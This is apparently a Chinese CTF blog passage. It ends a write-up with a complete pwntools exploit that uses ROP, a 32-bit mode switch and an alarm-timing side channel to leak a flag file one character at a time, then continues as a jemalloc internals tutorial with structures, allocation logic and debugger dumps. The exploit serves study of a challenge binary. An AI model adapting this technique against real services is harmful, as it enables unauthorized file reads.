  • 把这两个 gadget 组合一下:
1
2
bss_payload3 += p64(pop_rsi_r15_rbp) + p64(push_rsi_ret) + p64(0)*2
bss_payload3 += p64(push_rsi_ret) # blocking
  • 寄存器 rsi 被控制为 “push_rsi_ret”
  • rsi 压栈,然后被 ret 执行,程序开始不停地执行 “push_rsi_ret”
  • 期间我们可以持续利用 try 向程序输入数据,因为程序陷入循环,所以命令行不起作用
  • 直到 alarm 的时间用尽,程序结束,再输入数据时就会报错,触发 except,并记录时间

完整exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *
import time
import sys
import threading

context.arch = "amd64"
#context.log_level = "debug"

flag = {}
lock = threading.Lock()

# addrs
bss = 0x40c000
flag_ch_pos = bss+0x1500
fake_stack = bss+0x1000
fake_stack2 = bss+0x1100
fake_stack3 = bss+0x1200

# gadgets
retfq = 0x4011ec
retf = 0x4011ed
ret = 0x40312c
leave_ret = 0x7ffff7ffde52
pop_rsp_ppp_ret = 0x401730
pop_rdi_rbp = 0x401734
pop_rsi_r15_rbp = 0x401732
pop_rbp_ret = 0x401102
pop_rax_ret = 0x401001
pop_rcx_ret = 0x40117b
pop_rbx_ppp_ret = 0x403072
int_0x80_ret = 0x4011f3
syscall_ret = 0x408865
read_0xc0_gadget = 0x401170
push_rsi_ret = 0x4011c5
int3 = 0x4011eb

alarm_gadget = 0x40115D
'''
.text:000000000040115D mov eax, 25h
.text:0000000000401162 mov edi, [rbp-8] ; seconds
.text:0000000000401165 syscall ; LINUX - sys_alarm
.text:0000000000401167 pop rbp
.text:0000000000401168 retn
'''

def exp(curr_ch):
# 121.37.135.138 2102
p = process("./gadget")
#p = remote("121.37.135.138", 2102)

#gdb.attach(p, "b *0x40119a\nc\n")
offset = 0x38
move_stack_payload = b"A"*0x38 + p64(pop_rdi_rbp) + p64(fake_stack)*2 + p64(read_0xc0_gadget) # read part1
move_stack_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack) # start part1
p.send(move_stack_payload)

# part 1
time.sleep(0.5)
bss_payload = b"./flag\x00\x00" # new rbp
bss_payload += p64(0)*2
bss_payload += p64(retfq) + p64(ret) + p64(0x23) # change to x86

# SYS_open
bss_payload += p32(pop_rax_ret) + p32(5)
bss_payload += p32(pop_rbx_ppp_ret) + p32(fake_stack) + p32(fake_stack)*3
bss_payload += p32(pop_rcx_ret) + p32(0)
bss_payload += p32(int_0x80_ret)

bss_payload += p32(ret) + p32(retf) + p32(ret) + p32(0x33) # change to x64
bss_payload += p64(pop_rdi_rbp) + p64(fake_stack2)*2 + p64(read_0xc0_gadget) # read part2
bss_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack2) # start part2

p.send(bss_payload)

# part2
time.sleep(0.5)
bss_payload2 = p64(0xdeadbeef) # new rbp
bss_payload2 += p64(0)*2

# SYS_read
bss_payload2 += p64(pop_rax_ret) + p64(0)
bss_payload2 += p64(pop_rdi_rbp) + p64(3) + p64(0xdeadbeef)
bss_payload2 += p64(pop_rsi_r15_rbp) + p64(flag_ch_pos-curr_ch) + p64(0)*2
bss_payload2 += p64(syscall_ret)

bss_payload2 += p64(pop_rdi_rbp) + p64(flag_ch_pos+1) + p64(0) + p64(read_0xc0_gadget) # rewrite high bits
bss_payload2 += p64(pop_rdi_rbp) + p64(fake_stack3)*2 + p64(read_0xc0_gadget) # read part3
bss_payload2 += p64(pop_rsp_ppp_ret) + p64(fake_stack3) # start part3

p.send(bss_payload2)

# rewrite
time.sleep(0.5)
p.send(b"\x00"*0x7)

# part3
time.sleep(0.5)
bss_payload3 = p64(0xdeadbeef) # new rbp
bss_payload3 += p64(0)*2
bss_payload3 += p64(pop_rbp_ret) + p64(flag_ch_pos+8)
bss_payload3 += p64(alarm_gadget) # alarm gadget
bss_payload3 += p64(0xdeadbeef)

bss_payload3 += p64(pop_rsi_r15_rbp) + p64(push_rsi_ret) + p64(0)*2
bss_payload3 += p64(push_rsi_ret) # blocking

p.send(bss_payload3)
start = time.time()

for i in range(1000):
try:
p.send(b"a")
except:
end = time.time()
time_used = int(end-start)
print(f"[ROUND {curr_ch}] Time used:", end-start)
print(f"[ROUND {curr_ch}] CHAR: '{chr(time_used)}' ({hex(time_used)})")
lock.acquire()
flag[curr_ch] = chr(time_used)
lock.release()
return
finally:
time.sleep(0.3)

print(f"[ROUND {curr_ch}] ERROR")
p.close()
return

if __name__ == "__main__":
pool = []
for _round in range(9): # 因为flag只有9位,所以这里只申请9个线程
th = threading.Thread(target=exp, args=(_round, ))
th.setDaemon = True
pool.append(th)
th.start()
for th in pool:
th.join()
flag = {k: v for k, v in sorted(flag.items(), key=lambda item: item[0])}
print(flag)
flag_str = ""
for k, v in flag.items():
flag_str = flag_str + v
print(flag_str)

1654104946998


小结:

这个题目是组里的大佬出的,去年复现的时候就是调了一下 exp,gadget 都没有自己找,如今再看看这个题目,还是可以学习到很多东西

网上的非预期都是依靠 CMP 指令,单字节对比 flag 和猜测值,然后爆破出 flag,这种思路的关键就是想方设法 “放大CMP” 的影响,将其反应到用户端,使 exp 可以检测到(当然合适的 gadget 也很难找)

  • 网上常见的几种 exp 的处理:使程序陷入循环,然后 try-recv() 报错信息

最后的 ORA 是我以前没有遇见过的,去年的复现根本就没有考虑过这个方法,这个方法的 exp 执行过程很卡,如果 flag 特别长,服务器的网络不好的话,就很容易崩

Jemalloc 安装&使用

jemalloc 是 Facebook 推出的一种通用 malloc 实现,在 FreeBSD、firefox 中被广泛使用,比起 ptmalloc2 具有更高的性能

编译安装

1
2
3
4
5
wget https://github.com/jemalloc/jemalloc/releases/download/5.0.1/jemalloc-5.0.1.tar.bz2
tar -xjvf jemalloc-5.0.1.tar.bz2
cd jemalloc-5.0.1
./configure --prefix=/usr/local/jemalloc --enable-debug
make -j4 && sudo make install

接下来修改链接信息:

1
2
3
4
sudo bash
echo /usr/local/jemalloc/ >> /etc/ld.so.conf.d/jemalloc.conf
echo /usr/local/lib >> /etc/ld.so.conf
ldconfig

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <jemalloc/jemalloc.h>

void jemalloc_test(int i)
{
malloc(i*100);
}

int main(int argc, char **argv)
{
int i;
for(i=0;i<1000;i++)
{
jemalloc_test(i);
}
malloc_stats_print(NULL,NULL,NULL);
return 0;
}

使用 GCC 进行编译:

1
gcc jemalloc.c -o jemalloc -ljemalloc

演示:

1
2
3
4
5
6
7
8
9
10
11
exp gcc test.c -o jemalloc -ljemalloc
exp ldd jemalloc
linux-vdso.so.1 (0x00007fff753f8000)
libjemalloc.so.2 => /usr/local/lib/libjemalloc.so.2 (0x00007f6caa002000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6ca9e10000)
libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f6ca9bf6000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f6ca9bd3000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f6ca9bcd000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f6ca9bb0000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6caa2a6000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f6ca9a61000)

对于 Jemalloc 堆的调试,最好使用 shadow:

CENSUS/shadow: jemalloc heap exploitation framework (github.com)

使用 GDB 查看 Jemalloc 内存布局

Jemalloc 架构设计

上图中涉及 jemalloc 的几个核心概念,例如 arena、bin、chunk、run、region、tcache 等,我们下面逐一进行介绍:

  • arena 是 jemalloc 最重要的部分,内存由一定数量的 arenas 负责管理,每个用户线程都会被绑定到一个 arena 上,线程采用 round-robin 轮询的方式选择可用的 arena 进行内存分配,为了减少线程之间的锁竞争,默认每个 CPU 会分配 4 个 arena
  • bin 用于管理不同档位的内存单元,每个 bin 管理的内存大小是按分类依次递增,因为 jemalloc 中小内存的分配是基于 Slab 算法完成的,所以会产生不同类别的内存块
  • chunk 是负责管理用户内存块的数据结构,chunk 以 Page 为单位管理内存,默认大小是 4M,即 1024 个连续 Page,每个 chunk 可被用于多次小内存的申请,但是在大内存分配的场景下只能分配一次
  • run 实际上是 chunk 中的一块内存区域,每个 bin 管理相同类型的 run,最终通过操作 run 完成内存分配,run 结构具体的大小由不同的 bin 决定(例如 8 字节的 bin 对应的 run 只有一个 Page,可以从中选取 8 字节的块分配给 regions)
  • region 是每个 run 中的对应的若干个小内存块,每个 run 会将划分为若干个等长的 region,每次内存分配也是按照 region 进行分发
  • tcache 是每个线程私有的缓存,用于 small 和 large 场景下的内存分配,每个 tcahe 会对应一个 arena,tcache 本身也会有一个 bin 数组,称为tbin,与 arena 中 bin 不同的是,它不会有 run 的概念,tcache 每次从 arena 申请一批内存,在分配内存时首先在 tcache 查找,从而避免锁竞争,如果分配失败才会通过 run 执行内存分配

重新梳理下它们之间的关系:

  • 内存是由一定数量的 arenas 负责管理,线程均匀分布在 arenas 当中
  • 每个 arena 都包含一个 bin 数组,每个 bin 管理不同档位的内存块
  • 每个 arena 被划分为若干个 chunks,每个 chunk 又包含若干个 runs,每个 run 由连续的 Page 组成,run 才是实际分配内存的操作对象
  • 每个 run 会被划分为一定数量的 regions,在小内存的分配场景,region 相当于用户内存
  • 每个 tcache 对应 一个 arena,tcache 中包含多种类型的 bin

简单来说:首先是 arena 是最顶层的,会有多个 arena 结构(一般是一个线程对应一个),arena 内储存 chunk,每个 chunk 大小为 4M,chunk 被分为 run,run 内是 region(用户分配到的数据)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
  Chunk #0                           Chunk #1
.--------------------------------. .--------------------------------.
| Run #0 Run #1 | | Run #0 Run #1 |
| .-------------..-------------. | | .-------------..-------------. |
| | Page || Page | | | | Page || Page | |
| | .---------. || .---------. | | | | .---------. || .---------. | |
| | | Regions | || | Regions | | | | | | Regions | || | Regions | | | ...
| | |[] [] [] | || |[] [] [] | | | | | |[] [] [] | || |[] [] [] | | |
| | `-|-----|-' || `---------' | | | | `-|-----|-' || `---------' | |
| `---|-----|---'`-------------' | | `---|-----|---'`-------------' |
`-----|-----|--------------------' `-----|-----|--------------------'
| | | |
.---|-----|----------. .---|-----|----------.
| free regions' tree | ... | free regions' tree | ...
`--------------------' `--------------------'
bin[Chunk #0][Run #0] bin[Chunk #1][Run #0]

Jemalloc 数据结构

arena_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
typedef struct arena_s arena_t;

struct arena_s {
#ifdef JEMALLOC_DEBUG
uint32_t magic;
# define ARENA_MAGIC 0x947d3d24
#endif

unsigned ind; /* 这个arena在arenas数组中的索引 */
unsigned nthreads; /* 当前分配给此竞技场的线程数(该字段受arenas_lock保护) */

/*
arena的锁操作分为三类:
1.线程分配(修改nthreads): 受arenas_lock保护
2.与bin相关的操作: 受到bin锁的保护
3.与chunk和run相关的操作: 受此互斥锁保护
*/
malloc_mutex_t lock;

#ifdef JEMALLOC_STATS
arena_stats_t stats;
# ifdef JEMALLOC_TCACHE
ql_head(tcache_t) tcache_ql; /* 与此arena关联的现有线程的tcache列表(来自这些的统计信息会逐渐合并,并在退出时合并) */
# endif
#endif

#ifdef JEMALLOC_PROF
uint64_t prof_accumbytes;
#endif

ql_head(arena_chunk_t) chunks_dirty; /* 此arena管理的"包含脏页的块"列表 */

/*
为了避免当竞技场在需要新块的风口浪尖时快速分配/释放,spare(备用块)用于缓存最近释放的块
spare将留在竞技场的chunk树中,直到它被删除
每个arena都有一个spare(以避免多个线程之间的交互),这可能使单个spare不足
*/
arena_chunk_t *spare;
size_t nactive; /* active run(已使用的run)的页数 */
size_t ndirty; /* 当前未使用的run中,可能脏的页面计数(通过跟踪这一点,我们可以限制为每个arena映射脏内存的多少) */
size_t npurgatory; /* 正在清除的大概页数(多个线程可以同时清除脏页,它们使用npurgatory来指示所有线程试图清除的页面总数) */

/*
runs_avail_clean用于执行最适合的run分配,干净树包含的run的page要么没有关联的物理页面,要么具有内核可以随时回收的页面
runs_avail_dirty脏树包含带有脏页的run(即很可能已被触及并因此具有关联的物理页面)
脏树优先于清洁树进行分配,因为使用脏页减少了将活动: 脏页比率保持在清除阈值以下所需的脏清除量
*/
arena_avail_tree_t runs_avail_clean; /* 此竞技场可用run的大小/地址排序树 */
arena_avail_tree_t runs_avail_dirty; /* 脏树包含带有脏页的run */

/*
* bins用于存储以下大小的自由区域的树:
* 假设: 64位系统, 具有16字节quantum, 4KB页面大小, 默认MALLOC_CONF
*
* bins[i] | size |
* --------+--------+
* 0 | 8 |
* --------+--------+
* 1 | 16 |
* 2 | 32 |
* 3 | 48 |
* : :
* 6 | 96 |
* 7 | 112 |
* 8 | 128 |
* --------+--------+
* 9 | 192 |
* 10 | 256 |
* 11 | 320 |
* 12 | 384 |
* 13 | 448 |
* 14 | 512 |
* --------+--------+
* 15 | 768 |
* 16 | 1024 |
* 17 | 1280 |
* : :
* 25 | 3328 |
* 26 | 3584 |
* 27 | 3840 |
* --------+--------+
*/
arena_bin_t bins[1]; /* bins的动态大小 */
};
  • 用于描述 Arenas 的结构体

arena_chunk_t

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct arena_chunk_s arena_chunk_t;

/* Arena chunk header. */
struct arena_chunk_s {
arena_t *arena; /* 指向拥有该chunk的arena */
ql_elm(arena_chunk_t) link_dirty; /* arena的chunk_dirty列表的链接 */

bool dirtied; /* 如果当前chunk在chunks_dirty列表中,则为真 */
size_t ndirty; /* 脏页的数目 */

arena_chunk_map_t map[1]; /* map的动态大小 */
};
  • 用于描述 Chunk 的结构体
  • 块映射与块的内存对齐结合的主要用途是:实现对空闲和大/小堆分配(区域)的管理元数据的恒定时间访问

arena_bin_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct arena_bin_s arena_bin_t;

struct arena_bin_s {
malloc_mutex_t lock; /* runcur,runs和stats上的所有操作都需要锁定该锁(run分配/解除分配受arena锁保护,可以在持有一个或多个bin锁时获取,但反之则不然) */

arena_run_t *runcur; /* 表示服务于此bin的run(对应arena_run_t结构体的地址) */

/*
当runcur不再可用,需要查找现有run时才使用此树(我们选择内存最低的非完整运行)
这个策略倾向于保持对象打包好,它还可以帮助减少几乎空的块的数量
*/
arena_run_tree_t runs; /* 与bin相关运行的树(非完整运行树) */

#ifdef JEMALLOC_STATS
malloc_bin_stats_t stats; /* Bin统计信息 */
#endif
};
  • 用于描述 Bins 的结构体
  • 每个 bin 都有一个关联的大小类别,并存储/管理该类别的区域大小类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwndbg> telescope 0x7ffff7800c30
00:00000x7ffff7800c30 ◂— 0x0
01:00080x7ffff7800c38 ◂— 0x0
02:00100x7ffff7800c40 ◂— 0x200
03:00180x7ffff7800c48 ◂— 0x0
04:00200x7ffff7800c50 ◂— 0x0
05:00280x7ffff7800c58 —▸ 0x7ffff7006000 ◂— 0x384adf93 // runcur
06:00300x7ffff7800c60 —▸ 0x7ffff7800c68 ◂— 0x7ffff7800c68 // runs
07:00380x7ffff7800c68 ◂— 0x7ffff7800c68

pwndbg> p (arena_bin_t)*0x7ffff7800c30
$5 = {
lock = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 512,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 17 times>, "\002", '\000' <repeats 21 times>,
__align = 0
},
runcur = 0x7ffff7006000,
runs = { /* 这是一个"树结构" */
rbt_root = 0x7ffff7800c68,
rbt_nil = {
u = {
rb_link = {
rbn_left = 0x7ffff7800c68,
rbn_right_red = 0x7ffff7800c68
},
ql_link = {
qre_next = 0x7ffff7800c68,
qre_prev = 0x7ffff7800c68
}
},
bits = 0
}
}
}

arena_bin_info_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct arena_bin_info_s arena_bin_info_t;

struct arena_bin_info_s {
size_t reg_size; /* 属于该bin的,run所对应的区域大小 */
size_t run_size; /* 此bin对应的,run的大小 */
uint32_t nregs; /* 此bin对应的,run的区域总数 */

uint32_t bitmap_offset; /* 此bin对应的,run标头中第一个bitmap_t元素的偏移量 */

bitmap_info_t bitmap_info; /* 用于操作与此bin关联的run的位图的元数据 */

#ifdef JEMALLOC_PROF
uint32_t ctx0_offset; /* 此bin对应的,run标头中第一个(prof_ctx_t *)的偏移量,如果(opt_prof==false)则为'0' */
#endif
uint32_t reg0_offset; /* 此bin对应的,run中第一个区域的偏移量 */
};
  • 用于阐释 Bins 的信息

arena_run_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct arena_run_s arena_run_t;

struct arena_run_s {
#ifdef JEMALLOC_DEBUG
uint32_t magic;
# define ARENA_RUN_MAGIC 0x384adf93
#endif

arena_bin_t *bin; /* 与此run关联的bin */
uint32_t nextind; /* 下一个从未分配过的区域或nregs的索引 */
unsigned nfree; /* run中的空闲区域数 */

/* 本次运行中区域的位掩码,每个位对应一个区域,'0'表示该区域已使用,'1'位值表示相应区域空闲,变量nextind是该数组的第一个非零元素的索引 */
unsigned regs_mask[];
};
  • 用于描述 Runs 的结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> telescope 0x7ffff7006000
00:00000x7ffff7006000 ◂— 0x384adf93 // magic
01:00080x7ffff7006008 —▸ 0x7ffff7800c30 ◂— 0x0 // bin
02:00100x7ffff7006010 ◂— 0xfa00000002 // nextind & nfree
03:00180x7ffff7006018 ◂— 0xfffffffffffffffc // regs_mask
04:00200x7ffff7006020 ◂— 0xffffffffffffffff
05:00280x7ffff7006028 ◂— 0xffffffffffffffff
06:00300x7ffff7006030 ◂— 0xfffffffffffffff
07:00380x7ffff7006038 ◂— 0xf

pwndbg> p (arena_run_t)*0x7ffff7006000
$4 = {
magic = 944430995,
bin = 0x7ffff7800c30,
nextind = 2,
nfree = 250
}

extent_node_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct extent_node_s extent_node_t;

/* Tree of extents. */
struct extent_node_s {
#if (defined(JEMALLOC_SWAP) || defined(JEMALLOC_DSS))
rb_node(extent_node_t) link_szad; /* 大小/地址排序树的链接 */
#endif
rb_node(extent_node_t) link_ad; /* 地址排序树的链接 */

#ifdef JEMALLOC_PROF
prof_ctx_t *prof_ctx; /* 配置文件计数器,用于huge的对象 */
#endif

void *addr; /* 指向此树节点负责的范围的指针 */
size_t size; /* 总区域大小 */
};
  • huge 的分配由 “extent_node_t” 结构表示,在所有线程共有的全局红黑树中排序
  • “extent_node_t” 结构分配在称为基节点的小内存区域中
  • 基本节点不会影响最终用户堆分配的布局,因为它们由 DSS 或由 “mmap()” 获取的单个内存映射提供服务
  • 用于分配空闲空间的实际方法取决于 jemalloc 是如何编译的,而 “mmap()” 是默认值

Regions/Allocations

Jemalloc 实际分配给用户的内存空间就是 Regions,根据 Regions 的大小,可以把它区分为3个种类:

  • Small/Medium
  • Large
  • Huge

下图总结了到目前为止我们对 jemalloc 的分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
   .----------------------------------.       .---------------------------.
.----------------------------------. | +--+-----> arena_chunk_t |
.---------------------------------. | | | | |
| arena_t | | | | | .---------------------. |
| | | | | | | | |
| .--------------------. | | | | | | arena_run_t | |
| | arena_chunk_t list |-----+ | | | | | | | |
| `--------------------' | | | | | | | .-----------. | |
| | | | | | | | | page | | |
| arena_bin_t bins[]; | | | | | | | +-----------+ | |
| .------------------------. | | | | | | | | region | | |
| | bins[0] ... bins[27] | | | | | | | | +-----------+ | |
| `------------------------' | | |.' | | | | region | | |
| | | |.' | | | +-----------+ | |
`-----+----------------------+----' | | | | region | | |
| | | | | +-----------+ | |
| | | | | . . . | |
| v | | | .-----------. | |
| .-------------------. | | | | page | | |
| | .---------------. | | | | +-----------+ | |
| | | arena_chunk_t |-+---+ | | | region | | |
| | `---------------' | | | +-----------+ | |
| [2-5] | .---------------. | | | | region | | |
| | | arena_chunk_t | | | | +-----------+ | |
| | `---------------' | | | | region | | |
| | . . . | | | +-----------+ | |
| | .---------------. | | | | |
| | | arena_chunk_t | | | `---------------------' |
| | `---------------' | | [2-6] |
| | . . . | | .---------------------. |
| `-------------------' | | | |
| +----+--+---> arena_run_t | |
| | | | | |
+----------+ | | | .-----------. | |
| | | | | page | | |
| | | | +-----------+ | |
| | | | | region | | |
v | | | +-----------+ | |
.--------------------------. | | | | region | | |
| arena_bin_t | | | | +-----------+ | |
| bins[0] (size 8) | | | | | region | | |
| | | | | +-----------+ | |
| .----------------------. | | | | . . . | |
| | arena_run_t *runcur; |-+---------+ | | .-----------. | |
| `----------------------' | | | | page | | |
`--------------------------' | | +-----------+ | |
| | | region | | |
| | +-----------+ | |
| | | region | | |
| | +-----------+ | |
| | | region | | |
| | +-----------+ | |
| | | |
| `---------------------' |
`---------------------------'

Jemalloc 分配机制

Jemalloc 把内存分配分为了 三个部分

  • 第一部分类似 tcmalloc,是分别以8字节,16字节,64字节 …… 等分隔开的 small class
  • 第二部分以分页为单位,等差间隔开的 large class
  • 然后就是 huge class

内存块的管理也通过一种 chunk 进行,一个 chunk 的大小是 2^k (默认4 MB),通过这种分配实现常数时间地分配 small 和 large 对象,对数时间地查询 huge 对象的 meta(使用红黑树)

默认64位系统的划分方式如下:

  • Small:[8],[16,32,48,…,128](16字节等分),[128,192,256,320, …,512](64字节等分),[512,768,1024,1280,…,3840](256字节等分)
  • Large:[4 KB, 8 KB, 12 KB,…, 4072 KB](4KB 等分,一页等分)
  • Huge:[4 MB, 8 MB, 12 MB,…](大于 4MB 的超大内存)

接下来我们分析下 jemalloc 的整体内存分配和释放流程,主要分为 SamllLargeHuge 三种场景:

  • Small 场景
    • 如果请求分配内存的大小小于 arena 中的最小的 bin,那么优先从线程中对应的 tcache 中进行分配
    • 首先确定查找对应的 tbin 中是否存在缓存的内存块,如果存在则分配成功,否则找到 tbin 对应的 arena
    • 从 arena 中对应的 bin 中分配 region 保存在 tbin 的 avail 数组中,最终从 availl 数组中选取一个地址进行内存分配,当内存释放时也会将被回收的内存块进行缓存
  • Large 场景
    • Large 的内存分配与 Samll 类似,如果请求分配内存的大小大于 arena 中的最小的 bin,但是不大于 tcache 中能够缓存的最大块,依然会通过 tcache 进行分配,但是不同的是此时会分配 chunk 以及所对应的 run,从 chunk 中找到相应的内存空间进行分配
    • 内存释放时也跟 samll 场景类似,会把释放的内存块缓存在 tacache 的 tbin 中
    • 此外还有一种情况,当请求分配内存的大小大于 tcache 中能够缓存的最大块,但是不大于 chunk 的大小,那么将不会采用 tcache 机制,直接在 chunk 中进行内存分配
  • Huge 场景
    • 如果请求分配内存的大小大于 chunk 的大小,那么直接通过 mmap 进行分配,调用 munmap 进行回收

分配流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
MALLOC(size): /* 如果size在huge的范围,则调用mmap进行分配 */
IF size CAN BE SERVICED BY AN ARENA: /* 如果size在'arena'的范围内 */
IF size IS SMALL OR MEDIUM: /* 如果size在'small/medium'的范围内 */
bin = get_bin_for_size(size)

IF bin->runcur EXISTS AND NOT FULL: /* 如果对应的bin存在且未满 */
run = bin->runcur
ELSE:
run = lookup_or_allocate_nonfull_run()
bin->runcur = run

bit = get_first_set_bit(run->regs_mask)
region = get_region(run, bit)

ELIF size IS LARGE: /* 如果size在'large'的范围内 */
region = allocate_new_run()
ELSE:
region = allocate_new_chunk()
RETURN region /* 返回分配的区域 */
  • 如果不在 arena 的范围内:
    • 则调用 allocate_new_chunk 分配一个新的 chunk,返回给用户
  • 如果在 arena 的范围内,并且在 small/medium 的范围内:
    • 调用 get_bin_for_size 获取对应大小的 bin
    • 如果对应的 bin 存在且未满:
      • 直接从 bin 中摘下一个 run
    • 如果对应的 bin 不存在或者已满:
      • 调用 lookup_or_allocate_nonfull_run 申请一个 run,并接在 bin 的后面
    • 调用 get_first_set_bit 从 bin 中获取 bit(每个位对应一个区域,0 表示该区域已使用,1 位值表示相应区域空闲)
    • 最后调用 get_region 从 bin 中获取一个 run
  • 否则调用 allocate_new_run 分配一个新的 run,返回给用户

释放流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
FREE(addr):
IF addr IS NOT EQUAL TO THE CHUNK IT BELONGS: /* 如果addr不属于chunk */
IF addr IS A SMALL ALLOCATION: /* 如果addr的大小范围为small */
run = get_run_addr_belongs_to(addr);
bin = run->bin;
size = bin->reg_size;
element = get_element_index(addr, run, bin)
unset_bit(run->regs_mask[element])

ELSE: /* 如果addr的大小范围为large(以page为单位) */
run = get_run_addr_belongs_to(addr)
chunk = get_chunk_run_belongs_to(run)
run_index = get_run_index(run, chunk)
mark_pages_of_run_as_free(run_index)

IF ALL THE PAGES OF chunk ARE MARKED AS FREE: /* 如果chunk的所有page都标记为空闲 */
unmap_the_chunk_s_pages(chunk)

ELSE: /* 如果addr的大小范围为huge(通过mmap进行分配的) */
unmap_the_huge_allocation_s_pages(addr)
  • 根据 addr 对应的 size 大小来选择释放的方法:
    • huge:
      • 采用 unmap_the_huge_allocation_s_pages 进行释放
    • small:
      • 调用 get_run_addr_belongs_to 获取该 addr 对应的 run
      • 通过 run 获取对应的 bin
      • 通过 bin 获取对应的 reg_size
      • 调用 get_element_index 获取 region(大小为 byte)在 run 中的偏移
      • 调用 unset_bit 进行释放
    • large:
      • 调用 get_run_addr_belongs_to 获取该 addr 对应的 run
      • 调用 get_chunk_run_belongs_to 获取该 addr 对应的 chunk
      • 调用 get_run_index 获取 region(大小为 page)在 chunk 中的偏移
      • 调用 mark_pages_of_run_as_free 进行释放
      • 如果 chunk 的所有 page 都标记为 free(空闲):
        • 调用 unmap_the_chunk_s_pages 释放该 chunk

分配 region

1
2
3
/* jemalloc-2.2.5/src/arena.c */
ret = (void *)((uintptr_t)run + (uintptr_t)bin_info->reg0_offset +
(uintptr_t)(bin_info->reg_size * regind));
  • region 的值可以理解为“3”部分相加:
    • run:对应 run 的基地址
    • bin_info->reg0_offset:此 bin 对应的 run 中第一个 region 的偏移量
    • bin_info->reg_size * regind:目标 region 在 run 中的偏移量
  • 可以说,ptmalloc 就是通过偏移 regind 来获取 region 的位置的

在 jemalloc-2.2.5 分配 region 前,会在目标 run 的范围的头部申请一个 arena_run_t 结构体来管理 run(但 jemalloc-5.0.1 是不会分配 arena_run_t 的)

  • 因为 run 以 page 为单位,所以 arena_run_t 的地址后3位为“0”
  • 由此可以快速判断 arena_run_t 的位置

分配 run

run 以 page 为单位,如果 size 比较小,run 的大小范围往往就是一页

  • 默认64位系统的划分方式:
    • Small:[8],[16,32,48,…,128](16字节等分),[128,192,256,320, …,512](64字节等分),[512,768,1024,1280,…,3840](256字节等分)
  • 通过以下案例,来看看不同 run 的地址范围:(jemalloc-5.0.1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<stdio.h>
#include<string.h>
#include<jemalloc/jemalloc.h>

int main(){
char *foo[20];
char *bar[20];
int i;

printf("foo >> %p\n",foo);

foo[0] = malloc(8);
printf("foo[%d]: size:%d \t%p\n",0,8,(unsigned int)foo[0]);

for(i=1;i<=8;i++){
foo[i] = malloc(16*i);
printf(">> foo[%d]-foo[%d]=%d\n",i,i-1,(foo[i]-foo[i-1])/4096);
printf("foo[%d]: size:%d\t%p\n",i,16*i,(unsigned int)foo[i]);
}
for(i=9;i<=14;i++){
foo[i] = malloc(128+64*(i-8));
printf(">> foo[%d]-foo[%d]=%d\n",i,i-1,(foo[i]-foo[i-1])/4096);
printf("foo[%d]: size:%d\t%p\n",i,128+64*(i-8),(unsigned int)foo[i]);
}

return 0;
}
  • 结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
exp ./jemalloc                                  
foo >> 0x7ffe3a4b1330
foo[0]: size:8 0x91c2d008
>> foo[1]-foo[0]=25
foo[1]: size:16 0x91c47000
>> foo[2]-foo[1]=-24 // 反常
foo[2]: size:32 0x91c2e020
>> foo[3]-foo[2]=25
foo[3]: size:48 0x91c48000
>> foo[4]-foo[3]=3
foo[4]: size:64 0x91c4b000
>> foo[5]-foo[4]=1
foo[5]: size:80 0x91c4c000
>> foo[6]-foo[5]=5
foo[6]: size:96 0x91c51000
>> foo[7]-foo[6]=3
foo[7]: size:112 0x91c54000
>> foo[8]-foo[7]=7
foo[8]: size:128 0x91c5b000
>> foo[9]-foo[8]=1
foo[9]: size:192 0x91c5c000
>> foo[10]-foo[9]=3
foo[10]: size:256 0x91c5f000
